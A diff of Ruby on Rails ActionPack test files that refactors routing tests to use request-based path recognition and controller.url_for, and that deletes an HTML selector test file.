       get 'page/:id' => 'pages#show', :id => /[a-zA-Z0-9\+]+/
     end
 
-    assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/page/10'))
-    assert_equal({:controller => 'pages', :action => 'show', :id => 'hello+world'}, set.recognize_path('/page/hello+world'))
+    assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, request_path_params('/page/10'))
+    assert_equal({:controller => 'pages', :action => 'show', :id => 'hello+world'}, request_path_params('/page/hello+world'))
   end
 
   def test_recognize_with_http_methods
@@ -1099,40 +1143,40 @@ class RouteSetTest < ActiveSupport::TestCase
       delete "/people/:id" => "people#destroy"
     end
 
-    params = set.recognize_path("/people", :method => :get)
+    params = request_path_params("/people", :method => :get)
     assert_equal("index", params[:action])
 
-    params = set.recognize_path("/people", :method => :post)
+    params = request_path_params("/people", :method => :post)
     assert_equal("create", params[:action])
 
-    params = set.recognize_path("/people/5", :method => :put)
+    params = request_path_params("/people/5", :method => :put)
     assert_equal("update", params[:action])
 
-    params = set.recognize_path("/people/5", :method => :patch)
+    params = request_path_params("/people/5", :method => :patch)
     assert_equal("update", params[:action])
 
     assert_raise(ActionController::UnknownHttpMethod) {
-      set.recognize_path("/people", :method => :bacon)
+      request_path_params("/people", :method => :bacon)
     }
 
-    params = set.recognize_path("/people/5", :method => :get)
+    params = request_path_params("/people/5", :method => :get)
     assert_equal("show", params[:action])
     assert_equal("5", params[:id])
 
-    params = set.recognize_path("/people/5", :method => :put)
+    params = request_path_params("/people/5", :method => :put)
     assert_equal("update", params[:action])
     assert_equal("5", params[:id])
 
-    params = set.recognize_path("/people/5", :method => :patch)
+    params = request_path_params("/people/5", :method => :patch)
     assert_equal("update", params[:action])
     assert_equal("5", params[:id])
 
-    params = set.recognize_path("/people/5", :method => :delete)
+    params = request_path_params("/people/5", :method => :delete)
     assert_equal("destroy", params[:action])
     assert_equal("5", params[:id])
 
     assert_raise(ActionController::RoutingError) {
-      set.recognize_path("/people/5", :method => :post)
+      request_path_params("/people/5", :method => :post)
     }
   end
 
@@ -1142,11 +1186,11 @@ class RouteSetTest < ActiveSupport::TestCase
       root :to => "people#index"
     end
 
-    params = set.recognize_path("/people", :method => :get)
+    params = request_path_params("/people", :method => :get)
     assert_equal("people", params[:controller])
     assert_equal("index", params[:action])
 
-    params = set.recognize_path("/", :method => :get)
+    params = request_path_params("/", :method => :get)
     assert_equal("people", params[:controller])
     assert_equal("index", params[:action])
   end
@@ -1157,7 +1201,7 @@ class RouteSetTest < ActiveSupport::TestCase
              :year => /\d{4}/, :day => /\d{1,2}/, :month => /\d{1,2}/
     end
 
-    params = set.recognize_path("/articles/2005/11/05/a-very-interesting-article", :method => :get)
+    params = request_path_params("/articles/2005/11/05/a-very-interesting-article", :method => :get)
     assert_equal("permalink", params[:action])
     assert_equal("2005", params[:year])
     assert_equal("11", params[:month])
@@ -1171,7 +1215,7 @@ class RouteSetTest < ActiveSupport::TestCase
       get '/profile' => 'profile#index'
     end
 
-    set.recognize_path("/profile") rescue nil
+    request_path_params("/profile") rescue nil
 
     assert !Object.const_defined?("Profiler__"), "Profiler should not be loaded"
   end
@@ -1184,17 +1228,17 @@ class RouteSetTest < ActiveSupport::TestCase
       get "people/:id(.:format)" => "people#show"
     end
 
-    params = set.recognize_path("/people/5", :method => :get)
+    params = request_path_params("/people/5", :method => :get)
     assert_equal("show", params[:action])
     assert_equal("5", params[:id])
 
-    params = set.recognize_path("/people/5", :method => :put)
+    params = request_path_params("/people/5", :method => :put)
     assert_equal("update", params[:action])
 
-    params = set.recognize_path("/people/5", :method => :patch)
+    params = request_path_params("/people/5", :method => :patch)
     assert_equal("update", params[:action])
 
-    params = set.recognize_path("/people/5.png", :method => :get)
+    params = request_path_params("/people/5.png", :method => :get)
     assert_equal("show", params[:action])
     assert_equal("5", params[:id])
     assert_equal("png", params[:format])
@@ -1213,7 +1257,7 @@ class RouteSetTest < ActiveSupport::TestCase
   def test_root_map
     set.draw { root :to => 'people#index' }
 
-    params = set.recognize_path("", :method => :get)
+    params = request_path_params("", :method => :get)
     assert_equal("people", params[:controller])
     assert_equal("index", params[:action])
   end
@@ -1227,7 +1271,7 @@ class RouteSetTest < ActiveSupport::TestCase
 
     end
 
-    params = set.recognize_path("/api/inventory", :method => :get)
+    params = request_path_params("/api/inventory", :method => :get)
     assert_equal("api/products", params[:controller])
     assert_equal("inventory", params[:action])
   end
@@ -1239,7 +1283,7 @@ class RouteSetTest < ActiveSupport::TestCase
       end
     end
 
-    params = set.recognize_path("/api", :method => :get)
+    params = request_path_params("/api", :method => :get)
     assert_equal("api/products", params[:controller])
     assert_equal("index", params[:action])
   end
@@ -1251,7 +1295,7 @@ class RouteSetTest < ActiveSupport::TestCase
       end
     end
 
-    params = set.recognize_path("/prefix/inventory", :method => :get)
+    params = request_path_params("/prefix/inventory", :method => :get)
     assert_equal("api/products", params[:controller])
     assert_equal("inventory", params[:action])
   end
@@ -1263,38 +1307,36 @@ class RouteSetTest < ActiveSupport::TestCase
       end
     end
 
-    params = set.recognize_path("/inventory", :method => :get)
+    params = request_path_params("/inventory", :method => :get)
     assert_equal("api/products", params[:controller])
     assert_equal("inventory", params[:action])
   end
 
-  def test_generate_changes_controller_module
-    set.draw { get ':controller/:action/:id' }
-    current = { :controller => "bling/bloop", :action => "bap", :id => 9 }
-
-    assert_equal "/foo/bar/baz/7",
-        url_for(set, { :controller => "foo/bar", :action => "baz", :id => 7 }, current)
-  end
-
   def test_id_is_sticky_when_it_ought_to_be
+    @set = make_set false
+
     set.draw do
       get ':controller/:id/:action'
     end
 
-    url = url_for(set, { :action => "destroy" }, { :controller => "people", :action => "show", :id => "7" })
-    assert_equal "/people/7/destroy", url
+    get URI('http://test.host/people/7/show')
+
+    assert_equal "/people/7/destroy", controller.url_for(:action => 'destroy', :only_path => true)
   end
 
   def test_use_static_path_when_possible
+    @set = make_set false
+
     set.draw do
       get 'about' => "welcome#about"
       get ':controller/:action/:id'
     end
 
-    url = url_for(set, { :controller => "welcome", :action => "about" },
-      { :controller => "welcome", :action => "get", :id => "7" })
+    get URI('http://test.host/welcom/get/7')
 
-    assert_equal "/about", url
+    assert_equal "/about", controller.url_for(:controller => 'welcome',
+                                              :action => 'about',
+                                              :only_path => true)
   end
 
   def test_generate
@@ -1329,38 +1371,51 @@ class RouteSetTest < ActiveSupport::TestCase
   end
 
   def test_named_routes_are_never_relative_to_modules
+    @set = make_set false
+
     set.draw do
       get "/connection/manage(/:action)" => 'connection/manage#index'
       get "/connection/connection" => "connection/connection#index"
       get '/connection' => 'connection#index', :as => 'family_connection'
     end
 
-    url = url_for(set, { :controller => "connection" }, { :controller => 'connection/manage' })
+    assert_equal({ :controller => 'connection/manage',
+                   :action => 'index', }, request_path_params('/connection/manage'))
+
+    url = controller.url_for({ :controller => "connection", :only_path => true })
     assert_equal "/connection/connection", url
 
-    url = url_for(set, { :use_route => :family_connection, :controller => "connection" }, { :controller => 'connection/manage' })
+    url = controller.url_for({ :use_route => "family_connection",
+                               :controller => "connection", :only_path => true })
     assert_equal "/connection", url
   end
 
   def test_action_left_off_when_id_is_recalled
+    @set = make_set false
+
     set.draw do
       get ':controller(/:action(/:id))'
     end
-    assert_equal '/books', url_for(set,
-      {:controller => 'books', :action => 'index'},
-      {:controller => 'books', :action => 'show', :id => '10'}
-    )
+
+    get URI('http://test.host/books/show/10')
+
+    assert_equal '/books', controller.url_for(:controller => 'books',
+                                              :only_path => true,
+                                              :action => 'index')
   end
 
   def test_query_params_will_be_shown_when_recalled
+    @set = make_set false
+
     set.draw do
       get 'show_weblog/:parameter' => 'weblog#show'
       get ':controller(/:action(/:id))'
     end
-    assert_equal '/weblog/edit?parameter=1', url_for(set,
-      {:action => 'edit', :parameter => 1},
-      {:controller => 'weblog', :action => 'show', :parameter => 1}
-    )
+
+    get URI('http://test.host/weblog/show/1')
+
+    assert_equal '/weblog/edit?parameter=1', controller.url_for(
+      {:action => 'edit', :parameter => 1, :only_path => true})
   end
 
   def test_format_is_not_inherit
@@ -1368,22 +1423,30 @@ class RouteSetTest < ActiveSupport::TestCase
       get '/posts(.:format)' => 'posts#index'
     end
 
-    assert_equal '/posts', url_for(set,
-      {:controller => 'posts'},
-      {:controller => 'posts', :action => 'index', :format => 'xml'}
-    )
+    get URI('http://test.host/posts.xml')
+    assert_equal({:controller => 'posts', :action => 'index', :format => 'xml'},
+                 controller.request.path_parameters)
+
+    assert_equal '/posts', controller.url_for(
+      {:controller => 'posts', :only_path => true})
 
-    assert_equal '/posts.xml', url_for(set,
-      {:controller => 'posts', :format => 'xml'},
-      {:controller => 'posts', :action => 'index', :format => 'xml'}
-    )
+    assert_equal '/posts.xml', controller.url_for(
+      {:controller => 'posts', :format => 'xml', :only_path => true})
   end
 
   def test_expiry_determination_should_consider_values_with_to_param
+    @set = make_set false
+
     set.draw { get 'projects/:project_id/:controller/:action' }
-    assert_equal '/projects/1/weblog/show', url_for(set,
-      { :action => 'show', :project_id => 1 },
-      { :controller => 'weblog', :action => 'show', :project_id => '1' })
+
+    get URI('http://test.host/projects/1/weblog/show')
+
+    assert_equal(
+      { :controller => 'weblog', :action => 'show', :project_id => '1' },
+      controller.request.path_parameters)
+
+    assert_equal '/projects/1/weblog/show',
+      controller.url_for({ :action => 'show', :project_id => 1, :only_path => true })
   end
 
   def test_named_route_in_nested_resource
@@ -1586,7 +1649,6 @@ class RouteSetTest < ActiveSupport::TestCase
   end
 
   def test_slashes_are_implied
-    @set = nil
     set.draw { get("/:controller(/:action(/:id))") }
 
     assert_equal '/content',        url_for(set, { :controller => 'content', :action => 'index' })
@@ -1684,7 +1746,43 @@ class RouteSetTest < ActiveSupport::TestCase
     assert_equal '/ibocorp', url_for(set, { :controller => 'ibocorp', :action => "show", :page => 1 })
   end
 
+  include ActionDispatch::RoutingVerbs
+
+  class TestSet < ROUTING::RouteSet
+    def initialize(block)
+      @block = block
+      super()
+    end
+
+    class Dispatcher < ROUTING::RouteSet::Dispatcher
+      def initialize(defaults, set, block)
+        super(defaults)
+        @block = block
+        @set = set
+      end
+
+      def controller_reference(controller_param)
+        block = @block
+        set = @set
+        Class.new(ActionController::Base) {
+          include set.url_helpers
+          define_method(:process) { |name| block.call(self) }
+          def to_a; [200, {}, []]; end
+        }
+      end
+    end
+
+    def dispatcher defaults
+      TestSet::Dispatcher.new defaults, self, @block
+    end
+  end
+
+  alias :routes :set
+
   def test_generate_with_optional_params_recalls_last_request
+    controller = nil
+    @set = TestSet.new ->(c) { controller = c }
+
     set.draw do
       get "blog/", :controller => "blog", :action => "index"
 
@@ -1699,23 +1797,29 @@ class RouteSetTest < ActiveSupport::TestCase
       get "*anything", :controller => "blog", :action => "unknown_request"
     end
 
-    assert_equal({:controller => "blog", :action => "index"}, set.recognize_path("/blog"))
-    assert_equal({:controller => "blog", :action => "show", :id => "123"}, set.recognize_path("/blog/show/123"))
-    assert_equal({:controller => "blog", :action => "show_date", :year => "2004", :day => nil, :month => nil }, set.recognize_path("/blog/2004"))
-    assert_equal({:controller => "blog", :action => "show_date", :year => "2004", :month => "12", :day => nil }, set.recognize_path("/blog/2004/12"))
-    assert_equal({:controller => "blog", :action => "show_date", :year => "2004", :month => "12", :day => "25"}, set.recognize_path("/blog/2004/12/25"))
-    assert_equal({:controller => "articles", :action => "edit", :id => "123"}, set.recognize_path("/blog/articles/edit/123"))
-    assert_equal({:controller => "articles", :action => "show_stats"}, set.recognize_path("/blog/articles/show_stats"))
-    assert_equal({:controller => "blog", :action => "unknown_request", :anything => "blog/wibble"}, set.recognize_path("/blog/wibble"))
-    assert_equal({:controller => "blog", :action => "unknown_request", :anything => "junk"}, set.recognize_path("/junk"))
+    recognize_path = ->(path) {
+      get(URI("http://example.org" + path))
+      controller.request.path_parameters
+    }
+
+    assert_equal({:controller => "blog", :action => "index"}, recognize_path.("/blog"))
+    assert_equal({:controller => "blog", :action => "show", :id => "123"}, recognize_path.("/blog/show/123"))
+    assert_equal({:controller => "blog", :action => "show_date", :year => "2004", :day => nil, :month => nil }, recognize_path.("/blog/2004"))
+    assert_equal({:controller => "blog", :action => "show_date", :year => "2004", :month => "12", :day => nil }, recognize_path.("/blog/2004/12"))
+    assert_equal({:controller => "blog", :action => "show_date", :year => "2004", :month => "12", :day => "25"}, recognize_path.("/blog/2004/12/25"))
+    assert_equal({:controller => "articles", :action => "edit", :id => "123"}, recognize_path.("/blog/articles/edit/123"))
+    assert_equal({:controller => "articles", :action => "show_stats"}, recognize_path.("/blog/articles/show_stats"))
+    assert_equal({:controller => "blog", :action => "unknown_request", :anything => "blog/wibble"}, recognize_path.("/blog/wibble"))
+    assert_equal({:controller => "blog", :action => "unknown_request", :anything => "junk"}, recognize_path.("/junk"))
 
-    last_request = set.recognize_path("/blog/2006/07/28").freeze
-    assert_equal({:controller => "blog",  :action => "show_date", :year => "2006", :month => "07", :day => "28"}, last_request)
-    assert_equal("/blog/2006/07/25", url_for(set, { :day => 25 }, last_request))
-    assert_equal("/blog/2005",       url_for(set, { :year => 2005 }, last_request))
-    assert_equal("/blog/show/123",   url_for(set, { :action => "show" , :id => 123 }, last_request))
-    assert_equal("/blog/2006",       url_for(set, { :year => 2006 }, last_request))
-    assert_equal("/blog/2006",       url_for(set, { :year => 2006, :month => nil }, last_request))
+    get URI('http://example.org/blog/2006/07/28')
+
+    assert_equal({:controller => "blog",  :action => "show_date", :year => "2006", :month => "07", :day => "28"}, controller.request.path_parameters)
+    assert_equal("/blog/2006/07/25", controller.url_for({ :day => 25, :only_path => true }))
+    assert_equal("/blog/2005",       controller.url_for({ :year => 2005, :only_path => true }))
+    assert_equal("/blog/show/123",   controller.url_for({ :action => "show" , :id => 123, :only_path => true }))
+    assert_equal("/blog/2006",       controller.url_for({ :year => 2006, :only_path => true }))
+    assert_equal("/blog/2006",       controller.url_for({ :year => 2006, :month => nil, :only_path => true }))
   end
 
   private
@@ -1788,6 +1892,9 @@ class RackMountIntegrationTests < ActiveSupport::TestCase
     root :to => "news#index"
   }
 
+  attr_reader :routes
+  attr_reader :controller
+
   def setup
     @routes = ActionDispatch::Routing::RouteSet.new
     @routes.draw(&Mapping)
@@ -1832,11 +1939,11 @@ class RackMountIntegrationTests < ActiveSupport::TestCase
     assert_equal({:controller => 'foo', :action => 'id_default', :id => 1 }, @routes.recognize_path('/id_default'))
     assert_equal({:controller => 'foo', :action => 'get_or_post'}, @routes.recognize_path('/get_or_post', :method => :get))
     assert_equal({:controller => 'foo', :action => 'get_or_post'}, @routes.recognize_path('/get_or_post', :method => :post))
-    assert_raise(ActionController::ActionControllerError) { @routes.recognize_path('/get_or_post', :method => :put) }
-    assert_raise(ActionController::ActionControllerError) { @routes.recognize_path('/get_or_post', :method => :delete) }
+    assert_raise(ActionController::RoutingError) { @routes.recognize_path('/get_or_post', :method => :put) }
+    assert_raise(ActionController::RoutingError) { @routes.recognize_path('/get_or_post', :method => :delete) }
 
     assert_equal({:controller => 'posts', :action => 'index', :optional => 'bar'}, @routes.recognize_path('/optional/bar'))
-    assert_raise(ActionController::ActionControllerError) { @routes.recognize_path('/optional') }
+    assert_raise(ActionController::RoutingError) { @routes.recognize_path('/optional') }
 
     assert_equal({:controller => 'posts', :action => 'show', :id => '1', :ws => true}, @routes.recognize_path('/ws/posts/show/1', :method => :get))
     assert_equal({:controller => 'posts', :action => 'list', :ws => true}, @routes.recognize_path('/ws/posts/list', :method => :get))
@@ -1904,6 +2011,10 @@ class RackMountIntegrationTests < ActiveSupport::TestCase
     assert_equal({:controller => 'news', :action => 'index'}, @routes.recognize_path(URI.parser.escape('こんにちは/世界'), :method => :get))
   end
 
+  def test_downcased_unicode_path
+    assert_equal({:controller => 'news', :action => 'index'}, @routes.recognize_path(URI.parser.escape('こんにちは/世界').downcase, :method => :get))
+  end
+
   private
     def sort_extras!(extras)
       if extras.length == 2
@@ -1911,11 +2022,4 @@ class RackMountIntegrationTests < ActiveSupport::TestCase
       end
       extras
     end
-
-    def assert_raise(e)
-      result = yield
-      flunk "Did not raise #{e}, but returned #{result.inspect}"
-    rescue e
-      assert true
-    end
 end
diff --git a/actionpack/test/controller/selector_test.rb b/actionpack/test/controller/selector_test.rb
deleted file mode 100644
index 1e80c8601c..0000000000
--- a/actionpack/test/controller/selector_test.rb
+++ /dev/null
@@ -1,629 +0,0 @@
-#--
-# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
-# Under MIT and/or CC By license.
-#++
-
-require 'abstract_unit'
-require 'controller/fake_controllers'
-require 'action_view/vendor/html-scanner'
-
-class SelectorTest < ActiveSupport::TestCase
-  #
-  # Basic selector: element, id, class, attributes.
-  #
-
-  def test_element
-    parse(%Q{<div id="1"></div><p></p><div id="2"></div>})
-    # Match element by name.
-    select("div")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "2", @matches[1].attributes["id"]
-    # Not case sensitive.
-    select("DIV")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "2", @matches[1].attributes["id"]
-    # Universal match (all elements).
-    select("*")
-    assert_equal 3, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal nil, @matches[1].attributes["id"]
-    assert_equal "2", @matches[2].attributes["id"]
-  end
-
-
-  def test_identifier
-    parse(%Q{<div id="1"></div><p></p><div id="2"></div>})
-    # Match element by ID.
-    select("div#1")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    # Match element by ID, substitute value.
-    select("div#?", 2)
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    # Element name does not match ID.
-    select("p#?", 2)
-    assert_equal 0, @matches.size
-    # Use regular expression.
-    select("#?", /\d/)
-    assert_equal 2, @matches.size
-  end
-
-
-  def test_class_name
-    parse(%Q{<div id="1" class=" foo "></div><p id="2" class=" foo bar "></p><div id="3" class="bar"></div>})
-    # Match element with specified class.
-    select("div.foo")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    # Match any element with specified class.
-    select("*.foo")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "2", @matches[1].attributes["id"]
-    # Match elements with other class.
-    select("*.bar")
-    assert_equal 2, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    # Match only element with both class names.
-    select("*.bar.foo")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-  end
-
-
-  def test_attribute
-    parse(%Q{<div id="1"></div><p id="2" title="" bar="foo"></p><div id="3" title="foo"></div>})
-    # Match element with attribute.
-    select("div[title]")
-    assert_equal 1, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-    # Match any element with attribute.
-    select("*[title]")
-    assert_equal 2, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    # Match element with attribute value.
-    select("*[title=foo]")
-    assert_equal 1, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-    # Match element with attribute and attribute value.
-    select("[bar=foo][title]")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    # Not case sensitive.
-    select("[BAR=foo][TiTle]")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-  end
-
-
-  def test_attribute_quoted
-    parse(%Q{<div id="1" title="foo"></div><div id="2" title="bar"></div><div id="3" title="  bar  "></div>})
-    # Match without quotes.
-    select("[title = bar]")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    # Match with single quotes.
-    select("[title = 'bar' ]")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    # Match with double quotes.
-    select("[title = \"bar\" ]")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    # Match with spaces.
-    select("[title = \"  bar  \" ]")
-    assert_equal 1, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-  end
-
-
-  def test_attribute_equality
-    parse(%Q{<div id="1" title="foo bar"></div><div id="2" title="barbaz"></div>})
-    # Match (fail) complete value.
-    select("[title=bar]")
-    assert_equal 0, @matches.size
-    # Match space-separate word.
-    select("[title~=foo]")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    select("[title~=bar]")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    # Match beginning of value.
-    select("[title^=ba]")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    # Match end of value.
-    select("[title$=ar]")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    # Match text in value.
-    select("[title*=bar]")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "2", @matches[1].attributes["id"]
-    # Match first space separated word.
-    select("[title|=foo]")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    select("[title|=bar]")
-    assert_equal 0, @matches.size
-  end
-
-
-  #
-  # Selector composition: groups, sibling, children
-  #
-
-
-  def test_selector_group
-    parse(%Q{<h1 id="1"></h1><h2 id="2"></h2><h3 id="3"></h3>})
-    # Simple group selector.
-    select("h1,h3")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    select("h1 , h3")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    # Complex group selector.
-    parse(%Q{<h1 id="1"><a href="foo"></a></h1><h2 id="2"><a href="bar"></a></h2><h3 id="2"><a href="baz"></a></h3>})
-    select("h1 a, h3 a")
-    assert_equal 2, @matches.size
-    assert_equal "foo", @matches[0].attributes["href"]
-    assert_equal "baz", @matches[1].attributes["href"]
-    # And now for the three selector challenge.
-    parse(%Q{<h1 id="1"><a href="foo"></a></h1><h2 id="2"><a href="bar"></a></h2><h3 id="2"><a href="baz"></a></h3>})
-    select("h1 a, h2 a, h3 a")
-    assert_equal 3, @matches.size
-    assert_equal "foo", @matches[0].attributes["href"]
-    assert_equal "bar", @matches[1].attributes["href"]
-    assert_equal "baz", @matches[2].attributes["href"]
-  end
-
-
-  def test_sibling_selector
-    parse(%Q{<h1 id="1"></h1><h2 id="2"></h2><h3 id="3"></h3>})
-    # Test next sibling.
-    select("h1+*")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    select("h1+h2")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    select("h1+h3")
-    assert_equal 0, @matches.size
-    select("*+h3")
-    assert_equal 1, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-    # Test any sibling.
-    select("h1~*")
-    assert_equal 2, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    select("h2~*")
-    assert_equal 1, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-  end
-
-
-  def test_children_selector
-    parse(%Q{<div><p id="1"><span id="2"></span></p></div><div><p id="3"><span id="4" class="foo"></span></p></div>})
-    # Test child selector.
-    select("div>p")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    select("div>span")
-    assert_equal 0, @matches.size
-    select("div>p#3")
-    assert_equal 1, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-    select("div>p>span")
-    assert_equal 2, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    assert_equal "4", @matches[1].attributes["id"]
-    # Test descendant selector.
-    select("div p")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    select("div span")
-    assert_equal 2, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    assert_equal "4", @matches[1].attributes["id"]
-    select("div *#3")
-    assert_equal 1, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-    select("div *#4")
-    assert_equal 1, @matches.size
-    assert_equal "4", @matches[0].attributes["id"]
-    # This is here because it failed before when whitespaces
-    # were not properly stripped.
-    select("div .foo")
-    assert_equal 1, @matches.size
-    assert_equal "4", @matches[0].attributes["id"]
-  end
-
-
-  #
-  # Pseudo selectors: root, nth-child, empty, content, etc
-  #
-
-
-  def test_root_selector
-    parse(%Q{<div id="1"><div id="2"></div></div>})
-    # Can only find element if it's root.
-    select(":root")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    select("#1:root")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    select("#2:root")
-    assert_equal 0, @matches.size
-    # Opposite for nth-child.
-    select("#1:nth-child(1)")
-    assert_equal 0, @matches.size
-  end
-
-
-  def test_nth_child_odd_even
-    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
-    # Test odd nth children.
-    select("tr:nth-child(odd)")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    # Test even nth children.
-    select("tr:nth-child(even)")
-    assert_equal 2, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    assert_equal "4", @matches[1].attributes["id"]
-  end
-
-
-  def test_nth_child_a_is_zero
-    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
-    # Test the third child.
-    select("tr:nth-child(0n+3)")
-    assert_equal 1, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-    # Same but an can be omitted when zero.
-    select("tr:nth-child(3)")
-    assert_equal 1, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-    # Second element (but not every second element).
-    select("tr:nth-child(0n+2)")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    # Before first and past last returns nothing.:
-    assert_raise(ArgumentError) { select("tr:nth-child(-1)") }
-    select("tr:nth-child(0)")
-    assert_equal 0, @matches.size
-    select("tr:nth-child(5)")
-    assert_equal 0, @matches.size
-  end
-
-
-  def test_nth_child_a_is_one
-    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
-    # a is group of one, pick every element in group.
-    select("tr:nth-child(1n+0)")
-    assert_equal 4, @matches.size
-    # Same but a can be omitted when one.
-    select("tr:nth-child(n+0)")
-    assert_equal 4, @matches.size
-    # Same but b can be omitted when zero.
-    select("tr:nth-child(n)")
-    assert_equal 4, @matches.size
-  end
-
-
-  def test_nth_child_b_is_zero
-    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
-    # If b is zero, pick the n-th element (here each one).
-    select("tr:nth-child(n+0)")
-    assert_equal 4, @matches.size
-    # If b is zero, pick the n-th element (here every second).
-    select("tr:nth-child(2n+0)")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    # If a and b are both zero, no element selected.
-    select("tr:nth-child(0n+0)")
-    assert_equal 0, @matches.size
-    select("tr:nth-child(0)")
-    assert_equal 0, @matches.size
-  end
-
-
-  def test_nth_child_a_is_negative
-    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
-    # Since a is -1, picks the first three elements.
-    select("tr:nth-child(-n+3)")
-    assert_equal 3, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "2", @matches[1].attributes["id"]
-    assert_equal "3", @matches[2].attributes["id"]
-    # Since a is -2, picks the first in every second of first four elements.
-    select("tr:nth-child(-2n+3)")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    # Since a is -2, picks the first in every second of first three elements.
-    select("tr:nth-child(-2n+2)")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-  end
-
-
-  def test_nth_child_b_is_negative
-    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
-    # Select last of four.
-    select("tr:nth-child(4n-1)")
-    assert_equal 1, @matches.size
-    assert_equal "4", @matches[0].attributes["id"]
-    # Select first of four.
-    select("tr:nth-child(4n-4)")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    # Select last of every second.
-    select("tr:nth-child(2n-1)")
-    assert_equal 2, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    assert_equal "4", @matches[1].attributes["id"]
-    # Select nothing since an+b always < 0
-    select("tr:nth-child(-1n-1)")
-    assert_equal 0, @matches.size
-  end
-
-
-  def test_nth_child_substitution_values
-    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
-    # Test with ?n?.
-    select("tr:nth-child(?n?)", 2, 1)
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "3", @matches[1].attributes["id"]
-    select("tr:nth-child(?n?)", 2, 2)
-    assert_equal 2, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    assert_equal "4", @matches[1].attributes["id"]
-    select("tr:nth-child(?n?)", 4, 2)
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    # Test with ? (b only).
-    select("tr:nth-child(?)", 3)
-    assert_equal 1, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-    select("tr:nth-child(?)", 5)
-    assert_equal 0, @matches.size
-  end
